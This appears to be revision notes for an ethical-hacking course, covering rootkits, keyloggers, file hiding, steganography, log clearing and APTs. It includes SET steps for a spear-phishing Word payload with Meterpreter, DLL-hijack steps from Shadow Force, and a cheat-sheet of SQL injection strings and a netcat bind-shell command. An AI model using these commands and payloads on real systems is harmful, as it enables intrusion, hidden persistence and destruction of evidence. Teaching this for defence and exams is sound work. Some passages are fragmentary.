FindFirstFile / FindNextFile.dir, ls and ps so they don't report files and processes belonging to the rootkit.Mark Russinovich was developing a rootkit scanner for Windows, and while testing it discovered his machine already had a rootkit on it. The source turned out to be Sony audio CDs equipped with XCP "copy protection". Inserting such a CD runs an autorun.exe, which installs the rootkit.
| Type | Characteristic | Analogy (from the slide) | Example tools |
|---|---|---|---|
| Application-Level | Separate program runs on the system | Attacker adds poison to your soup | Sub7, BO2K, Tini |
| Traditional RootKits | Critical OS components replaced | Attacker replaces noodles with poisoned ones | Lrk6, T0rnkit |
| Kernel-Level RootKits | Kernel is patched | Attacker replaces your tongue with a poisoned one | Knark, Adore, rootkit.com |
Poison in the soup β you could spot it if you looked at the soup carefully (a separate program is visible in the process list). Poisoned noodles β the poison is now part of the meal itself, so inspecting "the soup" tells you nothing (ls and ps are themselves the trojans). A poisoned tongue β now every meal tastes however the attacker wants, because the thing doing the tasting is compromised. That's the kernel: the tools are all fine, but the thing they ask for the truth is lying.
taskmgr.exe, rundll32.exe.ls, ps, du, ifconfig are left UNMODIFIED. β the discriminatorTraditional rootkit β system binaries are replaced. Kernel-level rootkit β system binaries are left alone, the kernel underneath them is patched. If a question says a kernel-level rootkit works by trojanising ps and ifconfig, it has described a traditional rootkit.
The rationale: almost all of the information flow from the user to the computer (or beyond, to the Internet) is via the keyboard β a little from the mouse, a bit from devices like USB keys. So an attacker installs a key logger to keep a record of all email/IM you send, websites you visit, and all passwords you type. Certain keyloggers are installed by malware β e.g. KeyBase, since Feb 2015, which captures passwords, especially banking passwords, and sends the information to the remote attacker. The data can be accessed locally, or sent to a remote machine over the Internet.
| Kind | Description |
|---|---|
| Application-specific | Records only those keystrokes associated with a particular application, such as an IM client |
| System | Records all keystrokes pressed (for one particular user or all users of the target system) |
| Hardware keyboard logger | A small piece of hardware that sits between the keyboard and the computer. Works with any target OS, is difficult to detect in software, but needs physical access |
Tool specifics from the demos:
Key Logger Pro β K. Actual Key Logger β F7. The hardware logger is the one defined by its limitation (needs physical access) and its superpower (OS-independent, invisible to software).
The framing: after an attacker compromises a machine and completes the attack or creates a back door, he has to ensure that his presence is removed or remains hidden. Four sub-topics: hiding files and folders; undeletable files and folders; clean up log files; clean up target machine.
| Method | Detail | Scope |
|---|---|---|
| Explorer | Organize β Folder and search options β View tab β "Don't show hiddenβ¦" | Files, folders and drives |
| attrib command | attrib +s +a +h <foldername> β change attributes to system, archive and hidden | Folders and files |
| Free Hide Folder | Add folders to be hidden; selectively hide and unhide | Folders only β no support for files |
| My Lockbox | Add folders to be hidden; selectively lock and unlock | Folders only β no support for files |
| QuickStego | Hide a collection of e.g. usernames, passwords, pass phrases β text hidden in an innocuous image | Text/files |
| Xiao Steganography | Hide system files, executables etc. β files are hidden in the image | Files |
The summary slide splits them explicitly: Free Hide Folder and My Lockbox (folders only) versus QuickStego and Xiao Steganography (files). And remember the attrib flags: +s +a +h = system, archive, hidden.
Why images work as containers:
The deck then shows bit-plane images from bit 0 up to bit 7 of the green plane. The observation that matters: the LSB of each colour component is often quite random, so replacing it with a different value will likely not be noticed.
| Bits replaced per colour component | Storage capacity |
|---|---|
| LSB only (bit 0) | 1/8 = 12.5% |
| Bits 0 and 1 | 2/8 = 25% |
The logic generalises: each component is 8 bits, so using n of them gives n/8 capacity. Replacing all the LSBs is likely to result in an indifferent image (the cover image) β i.e. visually unchanged.
Hiding a whisper is easy in a crowded market and impossible in an empty library. A busy, high-detail image is the market: its pixel values are already jumping around, so a bit of extra noise is lost in the crowd. A smooth gradient sky is the library β every value is almost identical to its neighbour, so random flickering in the last bit stands out as obviously artificial.
| Method | How it works |
|---|---|
| Permissions | Change permissions, then rename and hide it |
| Prevent (tool) | Set a hot key, e.g. Ctrl-P, to act as a toggle. Essentially prevents activation of all functions via right mouse click β cut, paste, copy, delete, rename |
| Filename trick | Use a file or folder name with inconspicuous characters β space, period or underscore β at the end: abcde .txt, abcde..txt, abcde_.txt. dir shows something that looks normal, so del abcdef.txt fails on the first attempt |
It's "undeletable" in scare quotes on the slide for a reason β the file isn't protected at all. The defender simply can't type its name correctly, because the trailing space or dot is invisible in a directory listing. It buys time and confusion, not actual immunity.
Viewing them: Start β Control Panel β System and Security β Administrative Tools β Event Viewer. The logs available are for application, security-related, setup and forwarded events, and the event type can be information, warning, error or audit.
| Log | What it holds |
|---|---|
| Application | Classified as error, warning or information depending on severity. An error is a significant problem such as loss of data; a warning isn't necessarily significant but might indicate a possible future problem; information describes the successful operation of a program, driver or service |
| Security | These are called audits and are described as successful or failed β e.g. whether a user trying to log on to Windows was successful |
| Setup | Computers configured as domain controllers will have additional logs displayed here |
| System | Logged by Windows and Windows system services; classified as error, warning or information |
| Forwarded | Forwarded to this log by other computers |
Only the Security log uses "audit" (success/failure). Application and System use error/warning/information. If an option describes a failed logon as a "System warning", it's wrong β it's a Security audit failure.
Event Viewer "Clear Log" = all-or-nothing. Winzapper = selective deletion, requires Admin. An empty log screams "someone was here"; a log missing three specific entries does not.
What it clears: History, temporary internet files, cookies, Recent Documents list. Its features: password protected, runs at start-up, can be scheduled to run when you want, comprehensive help file.
APTs refer to tools and techniques that can be used to launch an attack that cannot be stopped by conventional security mechanisms.
| Word | What it means on the slide |
|---|---|
| Advanced | Attacker adapts to defenders' efforts; can develop or buy Zero-Day exploits; higher level of stealth employed |
| Persistent | Attacks are objective and specific; will continue until the goal is reached; intent to maintain long-term connectivity |
| Threats | The entity or entities behind the attack; strong financial and human (expertise) resources |
An APT attack phase is:
And the modern aggravator: cloud computing and BYODs increase the target attack surface.
Hence the consequence: many organizations operate for years without knowing that they have been breached.
A burglar who smashes the window announces himself. An APT is the lodger who copied your key, moves in quietly, and is careful never to break anything β because the moment the taps stop working, you call a plumber and the plumber finds him. Keeping your systems running perfectly is an attack technique, not a courtesy.
The spear phishing demo uses Kali Linux and the SET β Social Engineering Toolkit: Social-Engineering Attacks β Spear-Phishing Attack Vectors β option 2 to create a FileFormat payload β type 5, which creates a Word document that will overflow a buffer and enable us to put a listener or rootkit on the victim's machine β then choose the listener (aka rootkit, aka payload), type 5 to get the Metasploit meterpreter β after the listener's IP and port are entered, SET creates the malicious file template.rtf.
Look at what that payload is: a document that triggers a buffer overflow (Week 10) to install a rootkit/listener (Week 11) delivered by social engineering (Week 2) and managed from a C&C server (Week 12). APT isn't a new technique β it's every technique in the module, sequenced and funded.
| Phase | Content |
|---|---|
| Intelligence Gathering | OSINT β collecting intelligence from public or openly available resources. Passive mode: no actual interaction (traffic) takes place with the target. Semi-passive mode: attackers use generic information-gathering methods that generate normal traffic without suspicion, such as DNS queries or WHOIS lookups. |
| Threat Modeling | Map the target environment and categorize assets based on their importance and value into primary and secondary targets. Assess risks and threats to determine which domains are most likely to reveal the attack and which domains might invite retaliation. |
Passive = zero traffic to the target. Semi-passive = normal-looking traffic (DNS, WHOIS). A WHOIS lookup is not passive under this model β it's semi-passive, because a query does leave your machine.
2 emails β 4 workers at EMC β 1 click β Poison Ivy β 40 million tokens affected. And the token itself: 6 digits every 60 seconds.
$PATH for executables.oci.dll, SQLLib80.dll and xa80.dll. oci.dll is from an Oracle installation β so on a machine with no Oracle, it will simply never be found.oci.dll, and places it in %SystemRoot%\system32\.taskkill /im msdtc.exe /f β causing MSDTC to reload itself.oci.dll. Calling this DLL opens up Shadow Force.install.exe: if it runs in 32-bit mode it downloads SuperBot.exe, otherwise SuperBotx64.exe.irc[.]itembuy[.]org) like a normal IRC bot.npf.sys β which comes from the open source project Wireshark, a well-known network protocol analyzer. Therefore npf.sys has a valid signature and can be loaded in Windows, to be used in capturing network packets.Your assistant is told "fetch the Oracle file from the cabinet, checking drawer 1, then 2, then 3." The file was never filed β so she always comes back empty-handed and nobody noticed. The attacker slips a forged file into drawer 1. Nothing was tampered with, nothing was overwritten, no alarm fires. The system simply finally found what it had always been politely asking for.
npf.sys is the smartest partThe attacker needs a signed kernel driver to sniff packets. Rather than steal a signing certificate, they use a legitimate, genuinely signed driver from Wireshark. Windows checks the signature, finds it valid β because it is valid β and loads it. The malware never had to break the trust system; it borrowed something the trust system already approved of.
On that last point: TheRealDeal Market appeared in March 2015 and is focused on commercialization of zero-day exploits; the marketplace is hosted on the popular TOR network.
| Enterprises | Telcos | Government |
|---|---|---|
| Banking, Finance & Insurance Petrochemical, Energy & Transport Media |
ISP β Internet Service Providers NSP β Network Service Providers Mobile & Telco Operators |
Defense CERT/CSIRT Intelligence Utilities |
And the current example: Salt Typhoon β an alleged attack on US ISPs; the attack group is tracked as Salt Typhoon, FamousSparrow, GhostEmperor.
| Boundary Protection | Agile Defense | |
|---|---|---|
| Primary consideration | Penetration Resistance | Information System Resilience |
| Adversary location | Outside the Defensive Perimeter | Inside the Defensive Perimeter |
| Objective | Repelling the Attack | Operating while under Attack |
The relationship between them: boundary protection is a necessary but not sufficient condition for Agile Defense.
Boundary protection is the castle wall. Agile Defense is assuming the wall will be breached and designing the castle so that one breached room doesn't give up the keep: internal doors, separate keys, and a plan for carrying on the siege from inside. The APT's defining characteristic is that it is already inside β which is precisely why a wall-only strategy fails against it.
| Behavioral Analysis | Security Monitoring | Incident Response |
|---|---|---|
| Cyber-Attack Detection Attack Location ID IP or AS blocking |
Maximize QoS Risk Analysis |
Attack Validation Blocking Policies Inform Subscriber |
ls/ps/du/ifconfig unmodified.netsh wlan show networks mode=bssid β scan the Wi-Fi neighbourhoodnetsh wlan set hostednetwork mode=allow ssid="ssid" key="passphrase" keyUsage=persistent β Soft APwhatweb -v <website> β web enumeration; wafw00f β detect WAF; HTTrack β mirrordocker run --rm -p 3000:3000 bkimminich/juice-shop β OWASP Juice Shopwmap_sites -a then wmap_targets -t β in that order' or 1 = 1 -- | ' or 'a' = 'a (no comment char) | ' or 1 = 1)# (brackets)order by N β column count | union select β¦ with cat=-1 β vulnerable column@@version, information_schema.tables/columns, 0x3a = colonsqlite_version(), sqlite_master, escape prefix '))nc -nlvp 6666 -e /bin/sh (victim) / nc -nv <IP> 6666 (attacker)attrib +s +a +h <foldername> β system, archive, hiddentaskkill /im msdtc.exe /f β the Shadow Force reload triggerFive full 50-question papers, medium-to-hard, mixing single-answer MCQ and multi-select MSQ exactly as the real quiz does. Every question is drawn from the Week 8β11 decks. Answer, hit Check, and read the explanation β nothing needs to be done in order.